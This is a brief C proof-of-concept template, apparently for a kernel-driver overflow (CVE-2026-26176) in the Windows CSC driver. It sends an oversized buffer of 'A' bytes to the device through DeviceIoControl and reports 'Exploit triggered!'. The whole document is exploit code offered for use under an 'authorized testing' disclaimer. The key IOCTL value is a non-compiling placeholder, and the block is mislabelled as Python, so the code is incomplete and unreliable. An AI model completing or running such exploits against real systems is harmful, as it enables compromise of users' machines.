The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <stdio.h>
// Proof of Concept for CVE-2026-26176
// Note: This is a template. The actual IOCTL code needs to be discovered via reverse engineering.
#define VULNERABLE_IOCTL 0xXXXXXXX // Placeholder for the actual IOCTL code
int main() {
HANDLE hDevice;
BYTE buffer[0x1000];
DWORD bytesReturned;
// Fill buffer with pattern to trigger overflow
memset(buffer, 'A', sizeof(buffer));
// Open handle to the CSC driver
hDevice = CreateFileA("\\\\.\\Csc",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open device. Error: %d\n", GetLastError());
return 1;
}
printf("Sending malicious buffer to driver...\n");
// Trigger the vulnerability
BOOL result = DeviceIoControl(hDevice,
VULNERABLE_IOCTL,
buffer,
sizeof(buffer),
NULL,
0,
&bytesReturned,
NULL);
if (!result) {
printf("DeviceIoControl failed. Error: %d\n", GetLastError());
} else {
printf("Exploit triggered!\n");
}
CloseHandle(hDevice);
return 0;
}